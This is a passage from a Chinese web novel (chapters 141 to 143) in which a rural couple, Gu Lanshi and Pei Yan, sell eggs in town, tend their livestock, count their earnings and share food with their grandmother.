“行。”顾兰时笑着说道,五十个鸡蛋,可是一笔大生意。 裴厌没有反对,这人有主家,附近摊贩也能听见他们说话,不怕她耍花样。 两人跟在絮絮叨叨的老妇身后并没有进青鱼巷,而是从另一条巷口进去,这里明显没有青鱼巷街道宽,住的也都是寻常人家,门前比较嘈杂。 后门比较小,老妇不敢让生人随便进主家,叮嘱他俩在门口等着,自己匆匆忙忙进去,没一会儿又嘟囔着出来,按之前说的,再挑了二十个鸡蛋。 “婆婆,一共一百五十文。”顾兰时笑着说道。 老妇从怀里掏出两串钱,看他一眼,露出个笑说:“我买了也不少,添两个给老婆子我如何?” 顾兰时答应的很干脆,从筐里取了三枚鸡蛋,说:“婆婆尽管拿去。” 三枚鸡蛋没有她自己挑的那么大,但老妇很高兴,数了钱后欢天喜地进了主家门,只有三个鸡蛋,并不扎眼,而且那五十枚鸡蛋对得上数,这三个自然是她的了。 140-160 第141章 老妇给的两串钱正好一百五十文,之前零散卖的鸡蛋钱顾兰时装在钱袋里自己揣着,这两串他递给裴厌。 巷子里人来人往,多少人都看着,两人没言语,裴厌自然地伸手接过钱,同样揣进怀里。 此时秋初,还未着厚衣冬服,衣裳不免有些痕迹凸起,但他是个人高马大的汉子,钱贴身放着,基本没有小偷小摸的敢近前。 一下子卖出去这么多鸡蛋,顾兰时很高兴,见这处巷子住户不少,往外走的同时拉长声音吆喝起来:“鸡蛋——卖鸡蛋了——” 一个坐在家门槛上看孙子孙女的老夫郎看过来,两人对视上,他笑着问道:“阿嬷看看鸡蛋?自家养的,鸡蛋大,随便挑。” 老夫郎没说话,瞅一眼他俩,这才扶着墙站起来,见状,顾兰时背着蛋筐往对方跟前走了两步。 他放下竹筐,掀开最上面的盖子,把覆盖在鸡蛋上的稻草扒拉到旁边,抬头笑道:“阿嬷尽管看。” 两个小孩见卖东西,都围过来低着脑袋看。 男孩子年纪小,两三岁的模样,一看是圆滚滚的鸡蛋,手快的不行,一下子就摸了一枚出来,攥在手里高兴的朝他老嬷喊道:“蛋!” “小兔崽子,快放回去,仔细摔了!”老夫郎骂道,他其实不怎么想买,只是看看东西,万一摔碎了,鸡蛋没吃到还得赔,自然不乐意。 旁边的小女孩倒是乖巧,一听老嬷这样说,就想从弟弟手里把鸡蛋要过来,不想小男孩把手往背后藏,不愿意给她。 老夫郎几步上前,硬是从孙儿手里把鸡蛋掏了出来,还没递给顾兰时呢,他孙子哇一声,在原地哭闹起来。 小孩子哭声带了几分尖锐,引得周围人都往这边看。 “都是你们招的,快走快走,别再叫他看见了。”老夫郎抬手朝外摆两下,示意他俩赶紧走,明显很不高兴,转而又去骂孙子:“小没王法的,见什么要什么,哪一顿缺着你了?” 自己被人驱赶没什么,可顾兰时完全是因为对方的示意才走来,却突然成了他们的错处,裴厌眉头一皱,就要上前争论,却被顾兰时一下子抓住右小臂。 “走吧。”顾兰时抬头看着他,眼睛微弯带着笑意,又说:“也没什么,咱们去别处卖。” 后头小孩被打了几下,哭声更厉害,出巷子后才渐渐听不到。 顾兰时看一眼裴厌不怎么高兴的脸色,笑眯眯开口:“他一个上了年纪的,有几分糊涂,何至于跟他一般见识,再说了,咱们今天运气好,也该高兴高兴。” 周围人多,不好去拉手,他拽拽裴厌衣袖,见前面有个糕点铺子,说道:“出来也一阵子了,早食吃的不多,过去买几块甜糕吃,垫垫肚子。” “嗯。”听他饿了,裴厌这才应声。 一进铺子,各色糕点摆在木盘里,花色各异,颜色也各异,一股子香甜味道弥漫。 看见有红色的山楂糕,顾兰时立马想起那种酸酸甜甜的滋味,无意识咽了咽口水,伸手指了指那边,问道:“山楂糕怎么样?好久没吃过了。” “好。”裴厌答应着,对伙计说:“包上一包。” 他目光扫过糕点盘,又说道:“梅花糕也来一包。” “成。”伙计很麻利,两手抓取糕点,包好又打麻绳,两份点心包的整齐漂亮。 见他包得快,路上再打开麻绳麻烦,裴厌一边从怀里取钱一边说:“每样再取两块,不用绑,拿油纸包着就行。” “好嘞。”伙计照他说的,用一张油纸包了两块山楂糕和两块梅花糕。 顾兰时把包好的两包糕点放进篮子里提着,又拿起散装的油纸包,等裴厌付了钱后,两人一起往外走。 一出门,顾兰时迫不及待打开油纸,拿了一块红色的山楂糕吃。 和别的甜糕不同,口感更是有差异,山楂糕酸酸甜甜的滋味果然很好,颜色又漂亮,他脸上露出笑容,赶忙把托在手里的油纸往裴厌那边送。 裴厌同样拿了一块山楂糕尝,果然不错。 一块糕点并不大,一人又吃了一块梅花糕,待吃完后,顾兰时把油纸叠好,篮子里放了五六个有裂缝的鸡蛋,他顺手将油纸放进去,家里想包个什么东西就有得用。 “走吧。”裴厌说完,突然想起什么,两步又转回去,在糕点铺子门口朝里面问道:“伙计,店里要鸡蛋吗?” 有的糕点需要用到鸡蛋,方才进门时倒给忘了。 “卖鸡蛋的?”刚才那个伙计一看是他,说着就转头看向柜台后面的老板,那老板正对着账本打算盘,闻言头也不抬,只摆了摆手。 “不用。”伙计当即喊道。 裴厌冲他点点头,抬脚便走了。 顾兰时在前面几步开外的地方,等他近前后,这才一起往街头那边走,两人边走边吆喝:“鸡蛋,卖鸡蛋了。” * 带着鸡蛋来一趟镇上不容易,太阳越大了,已经到了巳时中刻,顾兰时和裴厌因背着鸡蛋走得慢,即便如此,他俩来得早,这会儿已经转了大半个宁水镇。 今天生意还算不错,除了在青鱼巷卖了五十枚鸡蛋,余下都是零散十枚十几枚的卖,还遇上只买两三个鸡蛋的,甚至还有人只要一个,他俩没有嫌少,能卖出去一个是一个。 眼下两百二十枚鸡蛋只剩六十几个,再就是篮子里不小心磕裂的十来枚。 吆喝声喊得高,他俩正走着,前头一户人家院门打开,有个汉子走出来,顺着吆喝声朝这边看,又冲他俩招招手,问道:“卖鸡蛋的,价钱如何?” “三文一枚,市价。”裴厌接声道。 因对方是个汉子,顾兰时没说话,只在旁边跟着。 黑瘦汉子回头喊了一声,他女人很快提了个蛋篮子出来。 顾兰时和裴厌把竹筐放在地上,扒拉开最上面的稻草,叫他俩随便挑。 围着襜衣的女人从竹筐里摸出一枚,顺嘴问道:“这篮子里也有?” 顾兰时笑道:“里头是磕裂的,有缝,你要的话,一文钱一个。” 一听这么便宜,女人当即就拿开篮子上的油纸还有一层稻草,问道:“没臭吧?” 顾兰时连忙开口:“没,都是早上从家里挑了背过来,路远,才磕裂的,不是臭鸡蛋,不信你闻闻,都没味。” 女人很谨慎,拿起一个有裂缝的先闻了闻,再便宜也要花钱,自然不能买到臭鸡蛋。 她闻一闻,发现没有臭味,就把手里的这个鸡蛋放进竹篮,随后又拿起一个嗅闻。 顾兰时没有阻止,磕裂的鸡蛋本身就不好带,能卖就卖了,竹篮里有个裂痕大的,鸡蛋清都流了出来,这个肯定卖不出去了,只能带回家给狗吃。 搁在以前,没有鸡蛋吃,即便鸡蛋破了,他俩也会自己吃掉,如今不同,鸡蛋家里多得是,不缺这一个两个。 再说狗看家没有功劳也有苦劳,养得膘肥体壮一看就不好惹,才不会被贼惦记上家里那么多母鸡。 “行了,四个够炒一碟的。”女人说完,又去看竹筐里的好鸡蛋,捡着大的挑了二十个。 顾兰时笑着说道:“阿姊,一共是六十四文。” 女人提着蛋篮起身,闻言看一眼她汉子,黑瘦汉子伸手从怀里掏出一个荷包,她盯着一起数。 六十四个铜板不算少了,裴厌直接把地上的竹篮拿起来,示意汉子把数过的铜板直接丢进去。 黑瘦汉子乐得如此,嘴里念着数,把铜板一枚一枚丢进去,直到数够六十四文。 数完后他女人还在心里琢磨了一下,确认没有错数后,才提着蛋篮子回家。 顾兰时背起竹筐,他筐子里的少,只剩下十三个鸡蛋,裴厌筐里的多,还有二三十个,他抬头眯起眼睛看一眼天,说道:“不早了,卖完这些就回去。” 裴厌拿出钱袋,把篮子里的钱抓进去,铜板撞出声响,最后扎紧袋口塞进怀里,卖的都是铜板,怀里有了些份量,他脸上露出个浅笑,说:“转过拐角往街上走,我记得有家酒馆,过去问问。” “好。”顾兰时答应道。 酒幌随风摆动,伙计在门口招揽主顾,见他二人近前,殷勤招呼了两声。 裴厌问道:“伙计,店里要鸡蛋吗?” 酒馆临街,前面有一节台阶,角落里坐了个白头发的老夫郎拿了烟杆正在抽烟,不等伙计开口,他冲着这边问道:“蛋价如何?” 裴厌说道:“市价,三文。” 伙计笑着说:“这是我们老板阿姆,有什么,问老嬷就行。” 他不过一个跑腿伙计,这等采买的事做不了主,多说几句还要被训斥偷懒,于是离了两步,在门口再次吆喝起来。 两人往角落那边走,在老夫郎伸头看筐子里的鸡蛋时,裴厌又说道:“家里养的鸡多,下蛋也多,老嬷要是想省事,只要在蛋期,就能送上门,路上磕裂磕碎的鸡蛋都是我的,你们尽管挑好的拿。” 这话听得老夫郎心里舒坦,有时碰到路过吆喝卖鸡蛋的还好,能随他们挑拣,要是厨子出门去买,一路带回来免不了磕碰,虽然还能吃,但放不了太久,实在可惜。 “这都是人家挑剩下的?”老夫郎看完两个筐子后,见只剩筐底这些,撇撇嘴有点不大高兴。 顾兰时笑了下,拿出两个鸡蛋说道:“老嬷看看,我们出门前都是捡大的,小的没有背出来,这些个头都不小呢。” 裴厌照实说道:“我们从东边进镇子,转到这边确实卖了些,不过像我夫郎说的,都是个头不错的好鸡蛋。” 老夫郎看半天,又抽两口烟,见鸡蛋确实不是小的,这才伸着脖子朝酒馆里喊:“文君,文君!把蛋篮子拿出来,买上二十个鸡蛋。” 里头有人答应一声,没多久一个年轻夫郎提着蛋篮子出来,陡一抬眼,发现卖鸡蛋的汉子身量那么高,又是个狰狞的刀疤脸,还给吓了一跳。 顾兰时开口笑道:“两个筐子都有,随便挑。” 见他这么和气,叫文君的夫郎这才上前,和他婆姆一起挑挑拣拣,往篮子里拾了二十个鸡蛋。 这会儿没到饭时,酒馆里零星坐了几个人喝酒吃小菜,伙计在门前卖力拉拢顾客,总算有两个进门的,他点头哈腰满脸笑容将人引至上座。 蛋钱结清后,吴文君听到里头有人点菜的声音,连忙提着篮子进门招呼,裴厌和顾兰时正要走,却被老夫郎喊住。 他抽一口烟,烟雾又从嘴里吐出来,看一眼相貌不错的顾兰时,说:“再过五六天,你们要是过来卖鸡蛋,就先上这边转转,要是馆子里鸡蛋没了,正好从你们手里买。” “成。”裴厌和顾兰时几乎异口同声答应。 裴厌又问道:“老嬷,酒馆什么时辰开门?我出门在清晨,要是来得早,先紧着你们挑鸡蛋。” 老夫郎一听,心里还挺满意,说道:“我们也做早食生意,开门较早,要是你来门还没开,就上酒馆后门去敲,厨子伙计都住后院,我会同他们交代。” 他探出身,指着街道拐角处说:“就在后巷子,两扇红漆小门,你一看就知道,别人家后门可没我们家拾掇的好看。” 裴厌记下对方说的,道:“好,知道了老嬷,那我们先走了。” * 太阳快到头顶当中时,两人又转了几条巷子和街道,把余下二十几枚鸡蛋都卖了出去,竹筐彻底空了,只剩下篮子里八个磕坏的鸡蛋。 顾兰时很高兴,今天卖出去的好鸡蛋有两百个,烂鸡蛋八九个,只算两百的话,足足有六百文的进账,别说裴厌,就是他怀里的钱袋都沉甸甸。 “饿不饿?吃碗面如何?”裴厌看向街上的各种吃食摊子。 “好,吃饱再回去,就不用费手做饭了,晌午没事还能歇一阵。”顾兰时笑眯眯的。 刚好前头有个面摊,热气从锅里冒出,摊前人不少,应该不错,两人便朝那边走。 锅边正在下面的是一老一少两个妇人,一个夫郎正在擀面,摊主是个汉子,一边和面一边招呼行人,他旁边还有个上年纪的老汉子系着襜衣切各种菜丝肉丝和豆腐丁子,案板咚咚咚响。 在摊子外面,一个十岁左右的女孩带着七八岁的弟弟,蹲在大木盆前,挽着袖子洗用过的碗筷,手上都很麻利。 一看就是一家人,见锅灶碗筷都干净,裴厌到跟前后问道:“都有什么面?” 摊主嘴皮子很利索:“肉丝面素丝面清汤面阳春面,鸡蛋面荤素卤子面都有,加面只需加一文,面汤不要钱。” 裴厌看向顾兰时,问道:“肉丝面?” 顾兰时看向摊前的案台,要想吃肉丝面,家里有肉呢,一看捞面人的手法,他就知道该怎么做,家里倒是很少吃卤的臊子,见两个木盆一个是荤卤子一个是素卤子,还热腾腾的,味道挺浓郁,于是说道:“我想吃碗肉卤子的。” “好。”裴厌又看向摊主,说道:“一碗肉卤子面,一碗阳春面,阳春面加面。” 他又问道:“我这里有鸡蛋,可否打两个煮荷包蛋?” 摊主咧嘴一笑,晒得黑黝黝的脸上褶皱很深,满口答应道:“成,这个不要钱,鸡蛋放桌上,你们找地方坐。” 裴厌从篮子里拿出两个鸡蛋放在桌上,见有裂缝,摊主连忙说道:“你这鸡蛋磕破了。” “我知道,尽管打进去。”裴厌应道。 “行。”摊主将和好的面团用干净麻布盖上,多说一句是怕人家以为鸡蛋是他弄破的,这下就放心了。 寻了个位子坐下,摊主很快给他俩一人舀了碗面汤放下,顾兰时端起碗喝一口。 早上出来用竹筒装了水,到这会儿早就凉了,眼下喝几口热面汤,心里胃里舒坦多了。 裴厌坐在他旁边,把竹篮放在腿上,没有和竹筐一起搁在地上,竹篮除了几个鸡蛋以外,还用油纸和稻草盖着一大半,底下是他俩卖鸡蛋的铜板。 鸡蛋都是零散卖出去的,所得都是铜板,六百文不少,怀里塞不下,又不好当着街上人来人往串钱,就先放在篮子里。 面摊今天生意不错,六七张桌子很快坐满,不一会儿,两碗热腾腾的面端上来,最上面是一人一个荷包蛋。 顾兰时搅了搅面上的肉卤子,说是肉卤子,其中还混着菜丁子,肉块不算很多,不过卤汁浓郁,闻着很香。 两人都饿了,面端上来连话也不说,夹起面吹两下就往嘴里送,吃得呼噜噜十分爽快。 第142章 秋天的太阳再比不上夏日,天明显比之前凉,一碗热汤面下肚正合适,身上从里到外都热了,饭吃好,人心情也随之更好。 篮子里还剩六个鸡蛋,顾兰时很高兴,没有再沿街吆喝,和裴厌往镇外走,虽然走街串巷一上午,脚下没有停的时候,但卖了这么多钱,再累也值得。 路过油酥饼摊子时,闻到香味,他停下看了几眼,裴厌同样停住脚,问道:“想吃?” 顾兰时顿了一下,说:“一碗面挺实在,这会儿是吃不下了,买几个回去,留着咱们晚饭吃。” “行,老板,包六个饼子。”裴厌边说边从怀里掏出荷包,数了十八个铜板,在老板夫郎的注视下,直接放进案台上的钱碗里。 自己夫郎没说话,钱数肯定对着,老板看也没看钱碗,把包好的油纸递过去。 油酥饼还是热的,隔着油纸能摸到,顾兰时把一包饼子放进竹篮里,这才迈开脚步。 镇外,陈三儿一家正在吃饭,饭篮子放在地上,他老婆提着茶壶给家里人倒茶,显然刚送来。 “爹,你吃,我去。”陈三儿子陈德成放下饭碗,用手背抹一抹嘴巴,笑着去解驴车。 见陈德成帮忙把驴车牵到路边,裴厌没有上手,从袖子里掏出半块木牌,又数了五枚铜板,走到驴车边一并递给陈德成。 “正好,您慢走。”陈德成满面笑容,等裴厌两人赶着驴车走之后,他回到凳子坐下,端起地上的碗赶忙就往嘴里扒拉面条。 * “汪!” 篱笆大门还没开,就听见狗叫声离得很近。 顾兰时开了锁推门,三只大狗等不及,都从门缝里挤出来,绕着他俩不断摇尾巴,还拿毛茸茸的脑袋蹭腿。 裴厌还好,他牵着驴车走在前面,三只狗也不常蹭他,顾兰时脚下就没那么好走,三只狗都不是小体型,跨都跨不过去,绊得他踉跄了好几步。 “行了行了,快进去。”他吆喝两声,狗总算消停了一点,他转身先把篱笆门关好。 大黑跑在最前面,时不时停下回头等他,灰灰和灰仔有点人来疯,撒开腿超过大黑冲向院里。 裴厌在前院停下驴车,着手解车套,顾兰时进来,把板车上的竹筐竹篮都提下来。 一路颠簸,篮子里的鸡蛋尽管留心了,还是有好几个蛋清都流出来,他走进灶房,把好点的两个鸡蛋放在碗里,一包油酥饼也放在案台上。 见余下的四个鸡蛋沾了稻草,他提着篮子又出来,蹲在灶房门口,嘴里嘬嘬嘬几声,三只大狗立即围过来。 把沾了蛋清的稻草和四个裂缝鸡蛋都拿出来,刚放在地上,三只狗就低头,争先恐后舔食。 大黑几个早已习惯吃碰破的鸡蛋,一边吃还一边摇尾巴,明显很喜欢,甚至你争我抢,把蛋壳都给吃了。 一把稻草放在地上,蛋清还没舔干净,顾兰时没有管,起身把竹篮放好,从竹筐里掏出两包糕点往房里走。 乡下人有口吃的不容易,花钱买的东西大多都会放在房里,他俩也不例外。 听见后院猪叫,顾兰时放好点心后从房里出来,脚步匆匆往灶房走,都这个时辰,该煮猪食了。 后院。 裴厌栓好毛驴后没有立即喂,跑了一路,歇一歇再喂来得及。 猪叫也是因为听到他进后院的动静,才声大了起来,是饿了问人要吃的。 他原本不打算过去,但听到一个圈里的猪叫声陡然变得凄惨,便大步往那边走。 和去年不同,今年多垒了三个猪圈,母猪下了七只猪仔,除了一只母猪仔给岳丈还了回去,余下六只都劁了,没到夏天的时候原本说卖三头半大的,但夏天那会儿有卖蝎子的进项,就没有卖猪仔。 除了老母猪,正好一个猪圈养两只,如今养了五六个月,已然都是大猪的模样,最瘦的也在一百斤左右。 虽然都劁了,公猪配不了,母猪下不了,性情都偏温顺,但还是有一只体型较大的公猪比较凶,和它关在一起的另一只公猪还被咬过。 裴厌皱着眉头站在猪圈外看,一见人来,体型大的公猪也不用嘴和脑袋拱另一只了,哼哼哼叫着,张着嘴要吃的。 裴厌从西屋后檐下的草堆抓了几把,过来丢进猪圈里,两只猪立马埋头吃起来,显然较大的公猪吃得更多。 这是昨天打的草,放到今天最上面的半干不湿,不过猪贪吃,很少有挑嘴的时候。 见它俩不再打架,裴厌这才往前院走,听见灶房切菜的动静,他站在门口望进去,顾兰时正在切薯根,这个煮了后给猪吃比较好。 他说道:“又咬架了,大的欺负另一头,到下午,要不试着把小的赶进老猪圈里,如今长大了,应该不会拱奶吃,要实在不行,改天把小的卖了,大的再养三两个月,到年底再卖。” 顾兰时把切好的薯根块丢进木盆里,闻言抬头看过去,说:“也好,总是被咬,万一真伤着,病了更不好卖。” 后院地界就那么些,猪圈自然不会大到哪里去,一个圈养两头肥猪正好,三头就有些拥挤,只能先和老母猪挤一挤。 至于那头较凶的公猪,吃得多长得肥,养到年底说不定有二百斤,卖钱肯定更多,自然要留下来多养养。 简单商量了几句,见水缸只剩半缸水,裴厌没有立即去打水,从外面拿了鸡食盆进来,往盆里舀了四葫芦瓢谷糠,又舀了半瓢柴豆面。 他把盆放在地上,往大锅舀水准备烧,等会儿水滚了,煮猪食之前,先把鸡鸭食烫开。 从镇上回来前还说歇一歇,一进家门就忙个不停,等喂了猪和鸡鸭还有驴子后,两人才腾出功夫进屋歇脚。 狗吃饭要说简单也简单,掰几个糙馒头就行。 身上用甩子打过了,草屑木屑什么的基本被拍干净,顾兰时脱了鞋子上炕,裴厌也是如此。 他俩没有即刻躺下,而是盘着腿坐在炕上,先把今天挣到的铜板从两个钱袋还有竹篮里倒出来。 哗啦啦—— 铜板碰撞的声音听得两人心中乐开花,脸上都不自觉带着笑。 顾兰时抓一把铜钱在手里,笑眯眯说:“今天买油酥饼花了十八文,吃面二十六文,肉卤子面一碗十五文,说贵挺贵的,尝一回就行了,山楂糕一包二十文,梅花糕十二文,散买的四块糕拢共是八文钱。” 他说完垂眼小声算今天花了多钱,裴厌帮着理思路,说道:“十八,二十六,这是四十四文,再加二十文是六十四文,梅花糕和散买的糕正好二十文,一共八十四文钱。” “这么多。”顾兰时咂咂舌,没算的时候还好,一算就有点不得了,将近一百文了。 裴厌笑道:“咱们也不是每次去镇上都这样胡吃海塞,再说,挣了钱不就是要吃好喝好,何必在意,总归进账大过开销就好了。” 两人年轻,又没老人和孩子要养,比起家里人口多的,他俩有房屋田地,吃喝也不愁,因此对多花钱这件事没有太大自责,顾兰时听完又喜笑颜开的。 裴厌把麻线团从桌上取来,剪了几条长短一样的,和顾兰时面对面开始穿钱,一边穿一边小声数,都专心致志的,谁也不打搅谁。 铜钱他俩都是一百文穿一串,穿好后两头绑在一起,就是一串钱。 数钱总是让人心喜,把五串整钱放好,还有一小堆散钱。 数完散钱后,顾兰时抬头笑眯眯说道:“早上出门拿了二十文,刨除这二十文,还有三十四文。” 也就是说,不算花的那些,今天卖鸡蛋挣了五百三十四文。 裴厌脸上笑容不减,说:“和出门前预估的差不多,今儿运气好,都卖完了。” 他俩清早出门在路上就算过了,两百二十枚鸡蛋,要是能卖出去二百个,就有六百文的收益,没想到真卖完了。 顾兰时打开荷包,把五十四文散钱抓进去,喜滋滋说道:“卖鸡蛋能有这么多钱,养的鸡多就是好。” “刚好在蛋期,再过一月,天一冷,估计就慢慢少了。”裴厌说完又笑道:“等到明年开春,小母鸡就和老鸡一样,能从春天下到秋天,明年鸡蛋只多不少。” 顾兰时把荷包口系紧,兴冲冲说道:“到时可得给它们吃好喝好。” “这是自然。”裴厌笑了下。 和鸭子一样,每天有河里的鱼、虾、地龙还有泥鳅吃的时候,母鸡才能天天下蛋。 如今天冷了,河边湿泥不好挖,河水也冰冷,他俩没有贪心,母鸡母鸭一个月能下二十个蛋就很不错。 如此,只算五十只母鸡的话,接下来的一个月情况好点,甚至能有上千枚鸡蛋,就算只有七八百枚,蛋钱攒起来,也有二两银子左右,是一笔大钱了。 看一眼半开的窗外,晌午都快过去了。 顾兰时到炕尾打开箱子,把五百文整钱塞进最底下,至于荷包里的铜板,要留在外面做平时的花销。 他俩拉开棉被躺下,心里高兴,一时还睡不着。 顾兰时转过身,侧躺着面对裴厌,笑着小声问道:“你想不想喝鸡汤?秋天到了,另一片竹林的细秋笋子能吃了,改天去挖几棵,杀只公鸡一起炖了。” 上个月杀了一只公鸡,如今还剩四只公的,这两三年他俩又不育雏鸡,要这么多公鸡也没甚大用处,解馋打打牙祭正好。 裴厌也侧躺,和他面对面,手掌压在脸颊下,同样压低了声音,笑着说:“好,明天若是得了空,就去挖笋。” “鸡汤留一点,改天下两碗鸡汤面吃。”顾兰时说着,一手搭在裴厌身上,又想了一下说:“留点鸡肉,弄个鸡肉丝面,今天吃面时我看了,他们做的是猪肉丝面,肉丝炒的时候应该是放了酱汁,味道浓郁,鸡一炖就熟了,再炒估计味道也不怎么样,撕成条搁在鸡汤面上就好,也省手。” 说着说着,他一条腿也搭在了裴厌身上。 “嗯,就这样吃。”裴厌磁音压的较低,即便如此,也能听出声音里的温柔。 几句话的功夫,两人离得越近,顾兰时还在想后面几天的饭,要是不提早想想,有时到了饭点,还真不知道做什么。 因他爹娘的缘故,再加上和裴厌之前过了一段苦日子,他越发觉得只有吃好,人干活才有劲,因此总在吃饭上会琢磨琢磨,做得更好更香。 还没想出别的花样,裴厌忽然伸手将他往怀里搂。 他没挣扎,下意识往那个热乎乎的健壮身躯里蹭了蹭,抱着搂了一会儿后,两人渐渐都有了困意。 房里不再有说话声,外头三只大狗分散在不同的地方趴着,秋风掠过菜地,带起一片绿意波澜。 第143章 顾兰时和裴厌清早摘完各种菜蔬,天色渐渐亮了,太阳一出来,雾气很快消散,今儿又是个大好晴天。 菜地被分成一块块,每一块菜地里菜蔬一行行栽种,又无杂草拥挤,显得齐整干净,而顺着篱笆墙还有山壁底下,是各种爬藤蔓的瓜菜。 住在山脚下离村子较远,早上人声较少,显得十分清静闲适,但乡下人哪有真悠闲的,睁开眼就得干活。 今年又是个丰年,雨水虽然有点多,但不至于太涝,最重要的,是各种菜没有害虫病,这也是幸好他俩开春翻地时洒了草药粉埋进土里,防范了一些。 因此即便有蛐蛐蚂蚱什么的啃食菜叶子,鸟雀有时候也会飞来啄食,大体上菜蔬还是丰收了的。 背起沉甸甸的一筐菜,顾兰时顺着菜地小路出来,踏在石子路上,一边往院里走一边说道:“等下上山多带个篮子,顺路找点菌子什么的。” 裴厌也背了一筐菜,跟着他的脚步从菜地里出来,闻言点头道:“好。” 刚进院门,竹筐还没卸下,就听见狗叫声汪汪汪,随后篱笆门外响起方红花的声音:“兰哥儿!起了么!” 菜地大,篱笆门离得远,好在小老太太嗓门大,平时也来惯了,喊着喊着就拍了两下门。 “阿奶,起了,这就来!”顾兰时答应着,放下竹筐匆匆就往外走。 从狗窝钻出来的大黑听见是熟人的声音,和灰灰灰仔不再叫了,跟在顾兰时后面慢悠悠也往门口走。 门一打开,方红花胳膊上挎个空篮子,笑得一脸慈祥,说:“知道你俩早上在,这不,过来摘两根菜。” 顾兰时让她进来,随后又闭上门,笑道:“正好,我俩刚摘完,丝瓜吊瓜豇豆茄子葫芦都有,还有根长老了的大丝瓜,阿奶你拿回去,干了好刷锅使。” “好好。”方红花满口答应,越发高兴。 顾兰时知道大伯家也种了菜,平时阿奶吃菜吃饭不愁,不过小老太太没事过来转转,拿一篮子菜回去也没什么,她就一个人,根本吃不了多少,到这边不过是串串门子。 路过栽种的果树时,方红花脚步慢下来,说道:“倒是结了几颗枣。” 提起这个,顾兰时满面笑意,说:“可不是,还以为今年不结呢,柿子石榴和杏子倒是都没动静。” “得二三年工夫呢,急不得。”方红花说道。 两人站在枣树那一排看了会儿,见有两三个蒂红了一点的枣子,顾兰时走过去,踮起脚拽下枣树枝,轻轻将枣子摘下来,随后松开手,树枝又弹回去。 他拿出手帕擦了擦枣子,走过来递给方红花两个,自己拿起一个啃了口,笑道:“有一点甜味,能吃了。” 说是甜味,实际味道很淡,不过倒是挺脆生的,不硬,确实能吃了。 方红花和他一起往院里走,她牙口还算好,咔嚓一声咬了一口青枣,笑眯眯说:“还真是。” 一颗枣子不大,顾兰时吃完随手把枣核丢进菜地小径中,说道:“阿奶,瓜菜都摘了,在院里你拿,别的叶子菜你看看,想吃什么我去挖。” 方红花吃着枣儿,闻言视线在菜地里转一圈,见落葵菜水井边上的落葵菜爬满竹竿,开口道:“我掐几片葵菜叶子,回去滚个汤就行。” “好。”顾兰时往那边走,落葵叶子长得厚实又大,吃起来滑滑的,结了一串串跟黑紫葡萄一样的小果子,他挑嫩的摘下。 方红花跟着他一起过来,两人边摘边往篮子里放。 裴厌提着竹筐和镰刀从院里出来,露出个笑容,说:“阿奶,菜我都从筐子里掏出来了,放在木板上,你想吃什么就去拿,我先出门打草。” “你去你去。”方红花连忙应道。 走之前,想起昨天在镇上买的东西,裴厌又说道:“兰时,糕点包几块给阿奶。” 顾兰时手上不停,掐了一把葵菜叶子,笑着说:“好,我知道了。” 灰灰和灰仔撒欢乱跑,裴厌早习惯了,只要别糟蹋菜就好,大黑比较沉稳,一直跟在顾兰时屁股后面。 他出门之后,顾兰时带着方红花来到院里拿菜,想起鸡蛋还有七八十个,他进灶房摸了五个,给方红花塞进篮子里,说:“阿奶,回去炒鸡蛋吃。” 知道他俩养的鸡多,下蛋也多,还这么孝顺大方,方红花乐滋滋的,但还是说道:“你俩也不容易,给我拿两个就成,老婆子能吃多少,何至于拿这么多。” 说着,她就要把鸡蛋拿出来。 顾兰时轻轻按住她的手,笑道:“阿奶,你拿回去就是,几个鸡蛋而已,家里还有好多呢,放心,够我俩去卖的,不差这几个。” 既然如此,方红花不再说什么,拿了一根紫茄一根丝瓜,顾兰时又给她篮子里搁了一根老丝瓜和一个菜葫芦,问道:“就这些?” 方红花提起竹篮,说:“这一根茄子就够我一顿吃的,这些都能吃两三天,拿太多也吃不完。” “也好,没菜了就过来。”顾兰时不再给她装菜,一家子人,太客气只会显得生分。 “哎哎。”方红花答应道,又说:“你俩也忙,我就不添乱了,这就回去。” 顾兰时连忙拉住她,开口道:“等会儿阿奶,我给你包几块糕,昨天买了山楂糕,酸酸甜甜,可好吃了。” 他匆匆往屋里走,山楂糕和梅花糕一样给包了两块,出来后放进篮子里,交待道:“阿奶,不多,你自个儿吃就成,不用分人。” 方红花喜得什么似的,又说两句闲话,这才往外走,路过柴堆的时候,看见地上有几片小的碎蛋壳。 她常来这边,知道这是狗吃剩下的,自从五十四只母鸡入秋都开始下蛋以后,顾兰时和裴厌吃蛋那叫一个随心所欲,天天吃顿顿吃都有,连带着她也常常吃,更别说苗秋莲那边。 顾兰时经常给他爹娘送鸡蛋,在村里都传遍了,谁人不羡慕,甚至还有眼红的,对裴厌更是又怕又觉得人家命好,自打娶了夫郎,日子一天比一天好,鸡蛋鸭蛋跟不值钱一样随便吃随便造。 有时候母鸡下蛋挑的地方不好,蛋掉在地上磕破了壳,顾兰时和裴厌就直接丢给狗吃,甚至连偏小的鸡蛋,也一点都不心疼,煮了后自己不吃反而喂给狗。 一些人家连饭都吃不饱,养几只母鸡下了蛋想方设法带去镇上卖,满村也就他俩这么喂狗。 之前她实在是心疼,到底是年轻人,不知口粮金贵。 鸡蛋再小,它也是个蛋,卖不上三文的市价,两文钱也是有的,偏偏拿去喂狗,于是说了两句。 但顾兰时和裴厌提起之前有贼惦记母鸡的事,只有把狗养好,夜里他俩才能踏实睡觉,况且也不是天天给狗吃鸡蛋。 一番话她反驳不得,就再也不说了。 顾兰时送她出门后,回来开始忙院里的活,今天太阳好,赶紧把这些菜都切了焯了,晒两三天弄成菜干子。 今年活多,每天鸡鸭猪驴要吃不少草,一些野菜挖回来,多半都是喂了牲禽,要么就是晒干留给它们冬天吃,人吃的野菜干子就少了,当然,这也是因为自己种的菜多,足够晒很多菜干子,也省了出门到处找野菜去挖的力气。 又是淘洗又是切菜,他独自在院里忙碌,等焯好菜条子铺在竹席上后,打了满满一筐草的裴厌回来了。 不止草,他手里还有一把野花,蓝的紫的红的黄的,花朵有大有小,随便攥成一束瞧着都漂亮。 花的颜色鲜艳,一下子吸引了顾兰时的目光,他笑着接过这一簇花,说道:“好看,怎么今天想起摘花了?” 见他高兴,裴厌把镰刀放在柴堆上,随后卸了背上竹筐,笑道:“割草的时候看见,顺手就摘了些。” 顾兰时很喜欢这束花,看了好一会儿,想放下干活,又觉得平放会让花瓣蹭掉,于是目光到处巡视。 陶罐有点太大,碗也不好放,直到看见灶房窗台上的竹筒,他笑眯眯喊裴厌:“给竹筒里倒点水,压一压分量,我把花插进去。” 裴厌照着话做,没想到花插进竹筒里正好,不多不少,又漂亮又抓眼。 